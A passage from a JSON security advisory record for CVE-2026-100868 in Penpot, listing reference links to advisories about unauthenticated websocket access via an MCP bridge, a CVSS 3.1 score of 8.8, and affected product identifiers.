                    "summary": "Reference - cveprojectv5; nvd; osv",
                    "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd; osv",
                    "url": "https://github.com/penpot/penpot/security/advisories/GHSA-ch2q-6x56-qg5r"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd; osv",
                    "url": "https://www.vulncheck.com/advisories/penpot-before-2.18.0-unauthenticated-websocket-access-via-mcp-bridge"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100868.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100868"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://www.npmjs.com/"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 8.8,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5723633",
                        "CSAFPID-5723634",
                        "CSAFPID-5723635",
                        "CSAFPID-5723636",
                        "CSAFPID-5723657",
                        "CSAFPID-5723658",
                        "CSAFPID-5723681",
                        "CSAFPID-5723682",
                        "CSAFPID-5723683",
                        "CSAFPID-5723684",
                        "CSAFPID-5723685",
                        "CSAFPID-5723686",
                        "CSAFPID-5723687",
                        "CSAFPID-5723688",
                        "CSAFPID-5723689",
                        "CSAFPID-5723690",
                        "CSAFPID-5723691",
                        "CSAFPID-5723692",
                        "CSAFPID-5723693",
                        "CSAFPID-5723694",
                        "CSAFPID-5723695",
                        "CSAFPID-5723696",
                        "CSAFPID-5723697",
                        "CSAFPID-5723698",
                        "CSAFPID-5723699",
                        "CSAFPID-5723700",
                        "CSAFPID-5723701",
                        "CSAFPID-5723702",
                        "CSAFPID-5723703",
                        "CSAFPID-5723704",
                        "CSAFPID-5723705",
                        "CSAFPID-5723732",
                        "CSAFPID-5723811",
                        "CSAFPID-5723812",
                        "CSAFPID-5723831",
                        "CSAFPID-5723847",
                        "CSAFPID-5723881",
                        "CSAFPID-7372340",
                        "CSAFPID-8851930",
                        "CSAFPID-8851931",
                        "CSAFPID-8851932",
                        "CSAFPID-8851933",
                        "CSAFPID-8949576",
                        "CSAFPID-8949577",
                        "CSAFPID-8949578",
                        "CSAFPID-8949579",
                        "CSAFPID-8949580",
                        "CSAFPID-8949581",
                        "CSAFPID-8949582",
                        "CSAFPID-8949583",
                        "CSAFPID-8949584",
                        "CSAFPID-8949585",
                        "CSAFPID-8949586",
                        "CSAFPID-8949587",
                        "CSAFPID-8949588",
                        "CSAFPID-8949589",
                        "CSAFPID-8949590",
                        "CSAFPID-8949591",
                        "CSAFPID-8949592",
                        "CSAFPID-8949593",
                        "CSAFPID-8949594",
                        "CSAFPID-9477465",
                        "CSAFPID-9477466",
                        "CSAFPID-9477467",
                        "CSAFPID-9477468",
                        "CSAFPID-9477469",
                        "CSAFPID-9477470",
                        "CSAFPID-9477471",
                        "CSAFPID-9477472",
                        "CSAFPID-9477473",
                        "CSAFPID-9477474",
                        "CSAFPID-9477475",
                        "CSAFPID-9477476",
                        "CSAFPID-9478855",
                        "CSAFPID-9478856",
                        "CSAFPID-9478857"
                    ]
                }
            ],
            "title": "CVE-2026-100868"
        }
    ]
}